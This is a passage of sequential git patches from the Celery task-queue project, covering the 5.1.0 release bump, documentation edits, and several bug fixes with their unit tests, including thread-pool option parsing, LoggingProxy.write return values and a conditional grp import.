+++ b/celery/events/snapshot.py @@ -84,7 +84,8 @@ def __exit__(self, *exc_info): def evcam(camera, freq=1.0, maxrate=None, loglevel=0, - logfile=None, pidfile=None, timer=None, app=None): + logfile=None, pidfile=None, timer=None, app=None, + **kwargs): """Start snapshot recorder.""" app = app_or_default(app) From fcdd6cdb78120c838978d9ea32b2e4066a372cd3 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 23 May 2021 18:57:04 +0300 Subject: [PATCH 232/415] Use kombu 5.1 GA. --- requirements/default.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements/default.txt b/requirements/default.txt index 3b7bbe0498f..afa9d16f251 100644 --- a/requirements/default.txt +++ b/requirements/default.txt @@ -1,6 +1,6 @@ pytz>dev billiard>=3.6.4.0,<4.0 -kombu>=5.1.0b1,<6.0 +kombu>=5.1.0,<6.0 vine>=5.0.0,<6.0 click>=7.0,<8.0 click-didyoumean>=0.0.3 From 5f6778a13e5f18105b948ba68fbf65cbc5a13853 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 23 May 2021 19:19:22 +0300 Subject: [PATCH 233/415] Update changelog. --- Changelog.rst | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/Changelog.rst b/Changelog.rst index f996674d368..e2a2401ff1a 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -8,6 +8,16 @@ This document contains change notes for bugfix & new features in the & 5.1.x series, please see :ref:`whatsnew-5.1` for an overview of what's new in Celery 5.1. +.. version-5.1.0: + +5.1.0 +===== +:release-date: 2021-05-23 19.20 P.M UTC+3:00 +:release-by: Omer Katz + +- ``celery -A app events -c camera`` now works as expected. (#6774) +- Bump minimum required Kombu version to 5.1.0. + .. _version-5.1.0rc1: 5.1.0rc1 From e4b64a99d4a88a97d822f37ae0cf48efe1e96ba7 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 23 May 2021 19:28:32 +0300 Subject: [PATCH 234/415] Update minimum dependency versions in whats new. --- docs/whatsnew-5.1.rst | 23 +++++++++++++---------- 1 file changed, 13 insertions(+), 10 deletions(-) diff --git a/docs/whatsnew-5.1.rst b/docs/whatsnew-5.1.rst index 541db19252b..2e8a8fa8cc6 100644 --- a/docs/whatsnew-5.1.rst +++ b/docs/whatsnew-5.1.rst @@ -200,6 +200,19 @@ The supported Python Versions are: - CPython 3.9 - PyPy3.6 7.2 (``pypy3``) +Important Notes +--------------- + +Kombu +~~~~~ + +Starting from v5.1, the minimum required version is Kombu 5.1.0. + +Billiard +~~~~~~~~ + +Starting from v5.1, the minimum required version is Billiard 3.6.4. + Important Notes From 5.0 ------------------------ @@ -221,16 +234,6 @@ However we encourage you to upgrade to a supported Python version since no further security patches will be applied for Python 2.7 and as mentioned Python 3.5 is not supported for practical reasons. -Kombu -~~~~~ - -Starting from v5.0, the minimum required version is Kombu 5.0.0. - -Billiard -~~~~~~~~ - -Starting from v5.0, the minimum required version is Billiard 3.6.3. - Eventlet Workers Pool ~~~~~~~~~~~~~~~~~~~~~ From 025bad6e93087414b3ddc288060c367d1937774b Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 23 May 2021 19:29:34 +0300 Subject: [PATCH 235/415] =?UTF-8?q?Bump=20version:=205.1.0rc1=20=E2=86=92?= =?UTF-8?q?=205.1.0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 6 +++--- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 1344944840c..391f7c4c11f 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.1.0rc1 +current_version = 5.1.0 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index 69ab7263dae..526ad9463d3 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.1.0rc1 (sun-harmonics) +:Version: 5.1.0 (sun-harmonics) :Web: https://docs.celeryproject.org/en/stable/index.html :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -57,7 +57,7 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 5.1.0rc1 runs on, +Celery version 5.1.0 runs on, - Python (3.6, 3.7, 3.8, 3.9) - PyPy3.6 (7.6) @@ -89,7 +89,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 5.0.5 or 5.1.0rc1 coming from previous versions then you should read our +new to Celery 5.0.5 or 5.1.0 coming from previous versions then you should read our getting started tutorials: - `First steps with Celery`_ diff --git a/celery/__init__.py b/celery/__init__.py index 893008f967e..672d3a7d572 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'sun-harmonics' -__version__ = '5.1.0rc1' +__version__ = '5.1.0' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index 5780715ae5a..41fde3260eb 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.1.0rc1 (cliffs) +:Version: 5.1.0 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ From c93371d5c7899720d3d17fda1a265c229285ffc0 Mon Sep 17 00:00:00 2001 From: Martey Dodoo Date: Tue, 25 May 2021 17:32:15 -0400 Subject: [PATCH 236/415] Update spelling & grammar in "What's New in 5.1". --- docs/whatsnew-5.1.rst | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/docs/whatsnew-5.1.rst b/docs/whatsnew-5.1.rst index 2e8a8fa8cc6..a59bb0d154f 100644 --- a/docs/whatsnew-5.1.rst +++ b/docs/whatsnew-5.1.rst @@ -161,13 +161,13 @@ Step 3: Read the important notes in this document Make sure you are not affected by any of the important upgrade notes mentioned in the :ref:`following section `. -You should mainly verify that any of the breaking changes in the CLI +You should verify that none of the breaking changes in the CLI do not affect you. Please refer to :ref:`New Command Line Interface ` for details. Step 4: Migrate your code to Python 3 ------------------------------------- -Celery 5.x supports only Python 3. Therefore, you must ensure your code is +Celery 5.x only supports Python 3. Therefore, you must ensure your code is compatible with Python 3. If you haven't ported your code to Python 3, you must do so before upgrading. @@ -231,8 +231,8 @@ Therefore, we are also dropping support for Python 3.5. If you still require to run Celery using Python 2.7 or Python 3.5 you can still use Celery 4.x. However we encourage you to upgrade to a supported Python version since -no further security patches will be applied for Python 2.7 and as mentioned -Python 3.5 is not supported for practical reasons. +no further security patches will be applied for Python 2.7 or +Python 3.5. Eventlet Workers Pool ~~~~~~~~~~~~~~~~~~~~~ @@ -328,9 +328,9 @@ Please refer to the :ref:`documentation <_conf-redis-result-backend>` for detail SQS transport - support back off policy ---------------------------------------- -SQS supports managed visibility timeout, this lets us implementing back off -policy (for instance exponential policy) which means that time between task -failures will dynamically changed based on number of retries. +SQS now supports managed visibility timeout. This lets us implement a back off +policy (for instance, an exponential policy) which means that the time between +task failures will dynamically change based on the number of retries. Documentation: :doc:`reference/kombu.transport.SQS.rst` @@ -338,7 +338,7 @@ Duplicate successful tasks --------------------------- The trace function fetches the metadata from the backend each time it -receives a task and compares its state. If the state is SUCCESS +receives a task and compares its state. If the state is SUCCESS, we log and bail instead of executing the task. The task is acknowledged and everything proceeds normally. @@ -347,7 +347,7 @@ Documentation: :setting:`worker_deduplicate_successful_tasks` Terminate tasks with late acknowledgment on connection loss ----------------------------------------------------------- -Tasks with late acknowledgement keep running after restart +Tasks with late acknowledgement keep running after restart, although the connection is lost and they cannot be acknowledged anymore. These tasks will now be terminated. @@ -364,7 +364,7 @@ Use a thread-safe implementation of `cached_property` `cached_property` is heavily used in celery but it is causing issues in multi-threaded code since it is not thread safe. -Celery is now using a thread-safe implementation of `cached_property` +Celery is now using a thread-safe implementation of `cached_property`. Tasks can now have required kwargs at any order ------------------------------------------------ @@ -382,8 +382,8 @@ Tasks can now be defined like this: SQS - support STS authentication with AWS ----------------------------------------- -STS token requires being refreshed after certain period of time. -after `sts_token_timeout` is reached a new token will be created. +The STS token requires a refresh after a certain period of time. +After `sts_token_timeout` is reached, a new token will be created. Documentation: :doc:`getting-started/backends-and-brokers/sqs.rst` @@ -398,8 +398,8 @@ Documentation: :setting:`redis_backend_health_check_interval` Update default pickle protocol version to 4 -------------------------------------------- -Updating pickle protocl version allow Celery to serialize larger strings -amongs other benefits. +The pickle protocol version was updated to allow Celery to serialize larger +strings among other benefits. See: https://docs.python.org/3.9/library/pickle.html#data-stream-format From bb18e1b95a0c8dcc4e80c29075932cf3c77c845f Mon Sep 17 00:00:00 2001 From: Tom Truszkowski Date: Fri, 28 May 2021 18:25:04 +0200 Subject: [PATCH 237/415] Fix '--pool=threads' support in command line options parsing (#6787) * Fix '--pool=threads' support in command line options parsing * Add unit tests for concurrency.get_available_pool_names --- celery/__init__.py | 3 ++- celery/bin/worker.py | 2 +- celery/concurrency/__init__.py | 6 ++++- t/unit/concurrency/test_concurrency.py | 31 ++++++++++++++++++++++++++ 4 files changed, 39 insertions(+), 3 deletions(-) diff --git a/celery/__init__.py b/celery/__init__.py index 672d3a7d572..6ba4b3cd5ce 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -142,7 +142,8 @@ def maybe_patch_concurrency(argv=None, short_opts=None, # set up eventlet/gevent environments ASAP from celery import concurrency - concurrency.get_implementation(pool) + if pool in concurrency.get_available_pool_names(): + concurrency.get_implementation(pool) # this just creates a new module, that imports stuff on first attribute diff --git a/celery/bin/worker.py b/celery/bin/worker.py index 7242706f748..eecd8743abe 100644 --- a/celery/bin/worker.py +++ b/celery/bin/worker.py @@ -40,7 +40,7 @@ class WorkersPool(click.Choice): def __init__(self): """Initialize the workers pool option with the relevant choices.""" - super().__init__(('prefork', 'eventlet', 'gevent', 'solo')) + super().__init__(concurrency.get_available_pool_names()) def convert(self, value, param, ctx): # Pools like eventlet/gevent needs to patch libs as early diff --git a/celery/concurrency/__init__.py b/celery/concurrency/__init__.py index c4c64764e3e..aa477fc57b7 100644 --- a/celery/concurrency/__init__.py +++ b/celery/concurrency/__init__.py @@ -5,7 +5,7 @@ # too much (e.g., for eventlet patching) from kombu.utils.imports import symbol_by_name -__all__ = ('get_implementation',) +__all__ = ('get_implementation', 'get_available_pool_names',) ALIASES = { 'prefork': 'celery.concurrency.prefork:TaskPool', @@ -26,3 +26,7 @@ def get_implementation(cls): """Return pool implementation by name.""" return symbol_by_name(cls, ALIASES) + + +def get_available_pool_names(): + return tuple(ALIASES.keys()) diff --git a/t/unit/concurrency/test_concurrency.py b/t/unit/concurrency/test_concurrency.py index a48ef83ce49..1a3267bfabf 100644 --- a/t/unit/concurrency/test_concurrency.py +++ b/t/unit/concurrency/test_concurrency.py @@ -1,9 +1,12 @@ +import importlib import os +import sys from itertools import count from unittest.mock import Mock, patch import pytest +from celery import concurrency from celery.concurrency.base import BasePool, apply_target from celery.exceptions import WorkerShutdown, WorkerTerminate @@ -152,3 +155,31 @@ def test_interface_close(self): def test_interface_no_close(self): assert BasePool(10).on_close() is None + + +class test_get_available_pool_names: + + def test_no_concurrent_futures__returns_no_threads_pool_name(self): + expected_pool_names = ( + 'prefork', + 'eventlet', + 'gevent', + 'solo', + 'processes', + ) + with patch.dict(sys.modules, {'concurrent.futures': None}): + importlib.reload(concurrency) + assert concurrency.get_available_pool_names() == expected_pool_names + + def test_concurrent_futures__returns_threads_pool_name(self): + expected_pool_names = ( + 'prefork', + 'eventlet', + 'gevent', + 'solo', + 'processes', + 'threads', + ) + with patch.dict(sys.modules, {'concurrent.futures': Mock()}): + importlib.reload(concurrency) + assert concurrency.get_available_pool_names() == expected_pool_names From b0ebc3b6adca26017523421255edfa67c775d70a Mon Sep 17 00:00:00 2001 From: Ruaridh Williamson Date: Mon, 31 May 2021 12:26:45 +0100 Subject: [PATCH 238/415] fix: `LoggingProxy.write()` return type (#6791) * fix: `LoggingProxy.write()` return type - The API of `IO.write()` is to return `int` corresponding to the length of the message - If we're substituting this class for `sys.stdout` it needs to follow the same interface * Don't mutate data to log - The caller may intend to print whitespace to stdout - If they don't want this whitespace then ideally the calling method should control this rather than `LoggingProxy` mutating the message --- celery/utils/log.py | 13 +++++++++---- t/unit/app/test_log.py | 7 ++++--- 2 files changed, 13 insertions(+), 7 deletions(-) diff --git a/celery/utils/log.py b/celery/utils/log.py index 6acff167fcf..58f194755a2 100644 --- a/celery/utils/log.py +++ b/celery/utils/log.py @@ -214,19 +214,24 @@ def handleError(self, record): return [wrap_handler(h) for h in self.logger.handlers] def write(self, data): + # type: (AnyStr) -> int """Write message to logging object.""" if _in_sighandler: - return print(safe_str(data), file=sys.__stderr__) + safe_data = safe_str(data) + print(safe_data, file=sys.__stderr__) + return len(safe_data) if getattr(self._thread, 'recurse_protection', False): # Logger is logging back to this file, so stop recursing. - return - data = data.strip() + return 0 if data and not self.closed: self._thread.recurse_protection = True try: - self.logger.log(self.loglevel, safe_str(data)) + safe_data = safe_str(data) + self.logger.log(self.loglevel, safe_data) + return len(safe_data) finally: self._thread.recurse_protection = False + return 0 def writelines(self, sequence): # type: (Sequence[str]) -> None diff --git a/t/unit/app/test_log.py b/t/unit/app/test_log.py index 3793b7e8276..971692497c4 100644 --- a/t/unit/app/test_log.py +++ b/t/unit/app/test_log.py @@ -268,8 +268,9 @@ def test_logging_proxy(self): p.write('foo') assert 'foo' not in sio.getvalue() p.closed = False - p.write('foo') - assert 'foo' in sio.getvalue() + write_res = p.write('foo ') + assert 'foo ' in sio.getvalue() + assert write_res == 4 lines = ['baz', 'xuzzy'] p.writelines(lines) for line in lines: @@ -290,7 +291,7 @@ def test_logging_proxy_recurse_protection(self): p = LoggingProxy(logger, loglevel=logging.ERROR) p._thread.recurse_protection = True try: - assert p.write('FOOFO') is None + assert p.write('FOOFO') == 0 finally: p._thread.recurse_protection = False From ce567e31065e3361493ebb33a23e2f04c07cc371 Mon Sep 17 00:00:00 2001 From: Patrick Zhang Date: Mon, 31 May 2021 22:40:32 -0700 Subject: [PATCH 239/415] Update CONTRIBUTORS.txt Add myself to contributors for PR: [#4194](https://github.com/celery/celery/pull/4194) --- CONTRIBUTORS.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/CONTRIBUTORS.txt b/CONTRIBUTORS.txt index 38f1cb8f09d..17fe5d9442b 100644 --- a/CONTRIBUTORS.txt +++ b/CONTRIBUTORS.txt @@ -281,3 +281,4 @@ Frazer McLean, 2020/09/29 Henrik Bruåsdal, 2020/11/29 Tom Wojcik, 2021/01/24 Ruaridh Williamson, 2021/03/09 +Patrick Zhang, 2017/08/19 From 799f839438925c2495b548970041ca2613b5364b Mon Sep 17 00:00:00 2001 From: worldworm <13227454+worldworm@users.noreply.github.com> Date: Sun, 23 May 2021 22:16:04 +0200 Subject: [PATCH 240/415] fix: couchdb backend call get() method using str https://github.com/celery/celery/issues/6781 --- celery/backends/couchdb.py | 1 + 1 file changed, 1 insertion(+) diff --git a/celery/backends/couchdb.py b/celery/backends/couchdb.py index 58349aceb69..43470ed109b 100644 --- a/celery/backends/couchdb.py +++ b/celery/backends/couchdb.py @@ -75,6 +75,7 @@ def connection(self): return self._connection def get(self, key): + key = bytes_to_str(key) try: return self.connection.get(key)['value'] except pycouchdb.exceptions.NotFound: From 51634c34a77f7f183a6af450c07e7aac91a045ce Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Dan=20Michael=20O=2E=20Hegg=C3=B8?= Date: Mon, 7 Jun 2021 19:50:29 +0200 Subject: [PATCH 241/415] fix: Typo in Tasks (#6805) * fix: Typo in Tasks * Update docs/userguide/tasks.rst Co-authored-by: Omer Katz Co-authored-by: Asif Saif Uddin Co-authored-by: Omer Katz --- docs/userguide/tasks.rst | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/userguide/tasks.rst b/docs/userguide/tasks.rst index 1870d8e1a7c..d35ac7d2891 100644 --- a/docs/userguide/tasks.rst +++ b/docs/userguide/tasks.rst @@ -1605,6 +1605,7 @@ limits, and other failures. .. code-block:: python import logging + from celery import Task from celery.worker.request import Request logger = logging.getLogger('my.package') @@ -1621,7 +1622,7 @@ limits, and other failures. ) def on_failure(self, exc_info, send_failed_event=True, return_ok=False): - super(Request, self).on_failure( + super().on_failure( exc_info, send_failed_event=send_failed_event, return_ok=return_ok From 305851aa9114653acafbf6e16fde12f2ea55ff99 Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Tue, 8 Jun 2021 16:53:52 +1000 Subject: [PATCH 242/415] test: Fix unexpected behaviour from bad mocking This test would attempt to mock the `request_stack` of a task so as to confirm that it could confirm that the request object pushed onto it contained simulated delivery information as expected. However, it did not wrap the original call target which led to an unfortunate interaction with the worker optimisations in `app/trace.py` which would not find the request on the stack and therefore not end up calling the task's `run()` method. The worker optimisations can be enabled as a side effect of other tests like `test_regression_worker_startup_info()` in the mongo and cache backend suites. This led to a situation where the test changed in the diff would fail if those tests happened to run before it! Luckily, the side effect of the worker optimizations being enabled are not what cause the unrelated failure, the test in this diff was a just a bit unaware of the consequences of its mocking. --- t/unit/tasks/test_tasks.py | 21 ++++++++++++--------- 1 file changed, 12 insertions(+), 9 deletions(-) diff --git a/t/unit/tasks/test_tasks.py b/t/unit/tasks/test_tasks.py index 7ac83ed5243..ff6f0049c04 100644 --- a/t/unit/tasks/test_tasks.py +++ b/t/unit/tasks/test_tasks.py @@ -1289,17 +1289,20 @@ def test_apply(self): f.get() def test_apply_simulates_delivery_info(self): - self.task_check_request_context.request_stack.push = Mock() - - self.task_check_request_context.apply( - priority=4, - routing_key='myroutingkey', - exchange='myexchange', - ) + task_to_apply = self.task_check_request_context + with patch.object( + task_to_apply.request_stack, "push", + wraps=task_to_apply.request_stack.push, + ) as mock_push: + task_to_apply.apply( + priority=4, + routing_key='myroutingkey', + exchange='myexchange', + ) - self.task_check_request_context.request_stack.push.assert_called_once() + mock_push.assert_called_once() - request = self.task_check_request_context.request_stack.push.call_args[0][0] + request = mock_push.call_args[0][0] assert request.delivery_info == { 'is_eager': True, From 038349c0885ad70224f834f331709886667e5fac Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Wed, 9 Jun 2021 09:37:06 +0600 Subject: [PATCH 243/415] Update README.rst --- README.rst | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.rst b/README.rst index 526ad9463d3..d87548e89d8 100644 --- a/README.rst +++ b/README.rst @@ -105,6 +105,8 @@ getting started tutorials: .. _`Next steps`: http://docs.celeryproject.org/en/latest/getting-started/next-steps.html + + You can also get started with Celery by using a hosted broker transport CloudAMQP. The largest hosting provider of RabbitMQ is a proud sponsor of Celery. Celery is... ============= From d9d82503b064dfec2c788a56c48f35a575954e7f Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 9 Jun 2021 06:40:35 +0300 Subject: [PATCH 244/415] grp is no longer imported unconditionally (#6804) * grp is no longer imported unconditionally. This fixes a regression introduced in #6600 which caused an import error on non-unix platforms. Fixes #6797. * Adjust tests to cover the new code paths. --- celery/platforms.py | 3 ++- t/unit/utils/test_platforms.py | 38 +++++++++++++++++++++++++++------- 2 files changed, 32 insertions(+), 9 deletions(-) diff --git a/celery/platforms.py b/celery/platforms.py index 83392a20e83..16cfa8d9a04 100644 --- a/celery/platforms.py +++ b/celery/platforms.py @@ -6,7 +6,6 @@ import atexit import errno -import grp import math import numbers import os @@ -780,6 +779,8 @@ def ignore_errno(*errnos, **kwargs): def check_privileges(accept_content): + if grp is None or pwd is None: + return pickle_or_serialize = ('pickle' in accept_content or 'application/group-python-serialize' in accept_content) diff --git a/t/unit/utils/test_platforms.py b/t/unit/utils/test_platforms.py index cfb856f8c18..208f4236637 100644 --- a/t/unit/utils/test_platforms.py +++ b/t/unit/utils/test_platforms.py @@ -911,8 +911,10 @@ def test_check_privileges_with_c_force_root(accept_content): ({'application/group-python-serialize'}, 'wheel'), ({'pickle', 'application/group-python-serialize'}, 'wheel'), ]) -def test_check_privileges_with_c_force_root_and_with_suspicious_group(accept_content, group_name): - with patch('celery.platforms.os') as os_module, patch('celery.platforms.grp') as grp_module: +def test_check_privileges_with_c_force_root_and_with_suspicious_group( + accept_content, group_name): + with patch('celery.platforms.os') as os_module, patch( + 'celery.platforms.grp') as grp_module: os_module.environ = {'C_FORCE_ROOT': 'true'} os_module.getuid.return_value = 60 os_module.getgid.return_value = 60 @@ -936,8 +938,10 @@ def test_check_privileges_with_c_force_root_and_with_suspicious_group(accept_con ({'application/group-python-serialize'}, 'wheel'), ({'pickle', 'application/group-python-serialize'}, 'wheel'), ]) -def test_check_privileges_without_c_force_root_and_with_suspicious_group(accept_content, group_name): - with patch('celery.platforms.os') as os_module, patch('celery.platforms.grp') as grp_module: +def test_check_privileges_without_c_force_root_and_with_suspicious_group( + accept_content, group_name): + with patch('celery.platforms.os') as os_module, patch( + 'celery.platforms.grp') as grp_module: os_module.environ = {} os_module.getuid.return_value = 60 os_module.getgid.return_value = 60 @@ -959,8 +963,10 @@ def test_check_privileges_without_c_force_root_and_with_suspicious_group(accept_ {'application/group-python-serialize'}, {'pickle', 'application/group-python-serialize'} ]) -def test_check_privileges_with_c_force_root_and_no_group_entry(accept_content, recwarn): - with patch('celery.platforms.os') as os_module, patch('celery.platforms.grp') as grp_module: +def test_check_privileges_with_c_force_root_and_no_group_entry(accept_content, + recwarn): + with patch('celery.platforms.os') as os_module, patch( + 'celery.platforms.grp') as grp_module: os_module.environ = {'C_FORCE_ROOT': 'true'} os_module.getuid.return_value = 60 os_module.getgid.return_value = 60 @@ -984,8 +990,10 @@ def test_check_privileges_with_c_force_root_and_no_group_entry(accept_content, r {'application/group-python-serialize'}, {'pickle', 'application/group-python-serialize'} ]) -def test_check_privileges_with_c_force_root_and_no_group_entry(accept_content, recwarn): - with patch('celery.platforms.os') as os_module, patch('celery.platforms.grp') as grp_module: +def test_check_privileges_with_c_force_root_and_no_group_entry(accept_content, + recwarn): + with patch('celery.platforms.os') as os_module, patch( + 'celery.platforms.grp') as grp_module: os_module.environ = {} os_module.getuid.return_value = 60 os_module.getgid.return_value = 60 @@ -1001,3 +1009,17 @@ def test_check_privileges_with_c_force_root_and_no_group_entry(accept_content, r check_privileges(accept_content) assert recwarn[0].message.args[0] == ASSUMING_ROOT + + +def test_skip_checking_privileges_when_grp_is_unavailable(recwarn): + with patch("celery.platforms.grp", new=None): + check_privileges({'pickle'}) + + assert len(recwarn) == 0 + + +def test_skip_checking_privileges_when_pwd_is_unavailable(recwarn): + with patch("celery.platforms.pwd", new=None): + check_privileges({'pickle'}) + + assert len(recwarn) == 0 From ced74939c25e73a22189553446e74e26b1564506 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 13 Jun 2021 19:26:41 +0300 Subject: [PATCH 245/415] Run pyupgrade to ensure the code is modernized. (#6808) --- celery/app/base.py | 2 +- celery/app/task.py | 2 +- celery/apps/multi.py | 2 +- celery/backends/redis.py | 2 +- celery/bin/events.py | 2 +- celery/bin/graph.py | 4 ++-- celery/utils/collections.py | 2 +- celery/utils/saferepr.py | 2 +- celery/utils/text.py | 2 +- celery/utils/timer2.py | 2 +- 10 files changed, 11 insertions(+), 11 deletions(-) diff --git a/celery/app/base.py b/celery/app/base.py index f0b45694e4f..6b2745473dc 100644 --- a/celery/app/base.py +++ b/celery/app/base.py @@ -1061,7 +1061,7 @@ def __exit__(self, *exc_info): self.close() def __repr__(self): - return '<{} {}>'.format(type(self).__name__, appstr(self)) + return f'<{type(self).__name__} {appstr(self)}>' def __reduce__(self): if self._using_v1_reduce: diff --git a/celery/app/task.py b/celery/app/task.py index 3e8461b6b11..78025cc513a 100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -106,7 +106,7 @@ def get(self, key, default=None): return getattr(self, key, default) def __repr__(self): - return ''.format(vars(self)) + return f'' def as_execution_options(self): limit_hard, limit_soft = self.timelimit or (None, None) diff --git a/celery/apps/multi.py b/celery/apps/multi.py index 448c7cd6fbd..613743426e5 100644 --- a/celery/apps/multi.py +++ b/celery/apps/multi.py @@ -242,7 +242,7 @@ def getopt(self, *alt): raise KeyError(alt[0]) def __repr__(self): - return '<{name}: {0.name}>'.format(self, name=type(self).__name__) + return f'<{type(self).__name__}: {self.name}>' @cached_property def pidfile(self): diff --git a/celery/backends/redis.py b/celery/backends/redis.py index eff0fa3442d..8904ee0bca5 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -603,7 +603,7 @@ def as_uri(self, include_password=False): """ # Allow superclass to do work if we don't need to force sanitization if include_password: - return super(SentinelBackend, self).as_uri( + return super().as_uri( include_password=include_password, ) # Otherwise we need to ensure that all components get sanitized rather diff --git a/celery/bin/events.py b/celery/bin/events.py index 26b67374aad..fa37c8352fc 100644 --- a/celery/bin/events.py +++ b/celery/bin/events.py @@ -11,7 +11,7 @@ def _set_process_status(prog, info=''): prog = '{}:{}'.format('celery events', prog) - info = '{} {}'.format(info, strargv(sys.argv)) + info = f'{info} {strargv(sys.argv)}' return set_process_title(prog, info=info) diff --git a/celery/bin/graph.py b/celery/bin/graph.py index 60218335d61..d4d6f16205f 100644 --- a/celery/bin/graph.py +++ b/celery/bin/graph.py @@ -74,7 +74,7 @@ class Thread(Node): def __init__(self, label, **kwargs): self.real_label = label super().__init__( - label='thr-{}'.format(next(tids)), + label=f'thr-{next(tids)}', pos=0, ) @@ -141,7 +141,7 @@ def maybe_abbr(l, name, max=Wmax): size = len(l) abbr = max and size > max if 'enumerate' in args: - l = ['{}{}'.format(name, subscript(i + 1)) + l = [f'{name}{subscript(i + 1)}' for i, obj in enumerate(l)] if abbr: l = l[0:max - 1] + [l[size - 1]] diff --git a/celery/utils/collections.py b/celery/utils/collections.py index f19014c2dca..dc4bd23437a 100644 --- a/celery/utils/collections.py +++ b/celery/utils/collections.py @@ -325,7 +325,7 @@ def _iter(self, op): # changes take precedence. # pylint: disable=bad-reversed-sequence # Someone should teach pylint about properties. - return chain(*[op(d) for d in reversed(self.maps)]) + return chain(*(op(d) for d in reversed(self.maps))) def _iterate_keys(self): # type: () -> Iterable diff --git a/celery/utils/saferepr.py b/celery/utils/saferepr.py index e07b979e879..ec73e2069a6 100644 --- a/celery/utils/saferepr.py +++ b/celery/utils/saferepr.py @@ -100,7 +100,7 @@ def _chainlist(it, LIT_LIST_SEP=LIT_LIST_SEP): def _repr_empty_set(s): # type: (Set) -> str - return '{}()'.format(type(s).__name__) + return f'{type(s).__name__}()' def _safetext(val): diff --git a/celery/utils/text.py b/celery/utils/text.py index b90e8a21b45..d685f7b8fc7 100644 --- a/celery/utils/text.py +++ b/celery/utils/text.py @@ -111,7 +111,7 @@ def pretty(value, width=80, nl_width=80, sep='\n', **kw): # type: (str, int, int, str, **Any) -> str """Format value for printing to console.""" if isinstance(value, dict): - return '{{{0} {1}'.format(sep, pformat(value, 4, nl_width)[1:]) + return f'{{{sep} {pformat(value, 4, nl_width)[1:]}' elif isinstance(value, tuple): return '{}{}{}'.format( sep, ' ' * 4, pformat(value, width=nl_width, **kw), diff --git a/celery/utils/timer2.py b/celery/utils/timer2.py index 07f4b288a9e..19239908daa 100644 --- a/celery/utils/timer2.py +++ b/celery/utils/timer2.py @@ -54,7 +54,7 @@ def __init__(self, schedule=None, on_error=None, on_tick=None, self.mutex = threading.Lock() self.not_empty = threading.Condition(self.mutex) self.daemon = True - self.name = 'Timer-{}'.format(next(self._timer_count)) + self.name = f'Timer-{next(self._timer_count)}' def _next_entry(self): with self.not_empty: From 536849c98ae3e75026ead822542b936e272d2b2b Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Mon, 14 Jun 2021 17:31:20 +1000 Subject: [PATCH 246/415] Ensure regen utility class gets marked as done when concretised (#6789) * fix: `regen.data` property now marks self as done Fixes: #6786 * improv: Don't concretise regen on `repr()` This ensures that the generator remains lazy if it's passed to `repr()`, e.g. for logging or something. * test: Add failing test for regen duping on errors * refac: Remove unnecessary try in `regen.data` --- celery/utils/functional.py | 14 ++++++--- t/unit/utils/test_functional.py | 56 +++++++++++++++++++++++++++++++++ 2 files changed, 66 insertions(+), 4 deletions(-) diff --git a/celery/utils/functional.py b/celery/utils/functional.py index ddf4c10379d..a82991b2437 100644 --- a/celery/utils/functional.py +++ b/celery/utils/functional.py @@ -241,12 +241,18 @@ def __bool__(self): @property def data(self): - try: - self.__consumed.extend(list(self.__it)) - except StopIteration: - pass + if not self.__done: + self.__consumed.extend(self.__it) + self.__done = True return self.__consumed + def __repr__(self): + return "<{}: [{}{}]>".format( + self.__class__.__name__, + ", ".join(repr(e) for e in self.__consumed), + "..." if not self.__done else "", + ) + def _argsfromspec(spec, replace_defaults=True): if spec.defaults: diff --git a/t/unit/utils/test_functional.py b/t/unit/utils/test_functional.py index 58ed115b694..d7e8b686f5e 100644 --- a/t/unit/utils/test_functional.py +++ b/t/unit/utils/test_functional.py @@ -1,3 +1,5 @@ +import collections + import pytest from kombu.utils.functional import lazy @@ -150,6 +152,60 @@ def build_generator(): def test_nonzero__empty_iter(self): assert not regen(iter([])) + def test_deque(self): + original_list = [42] + d = collections.deque(original_list) + # Confirm that concretising a `regen()` instance repeatedly for an + # equality check always returns the original list + g = regen(d) + 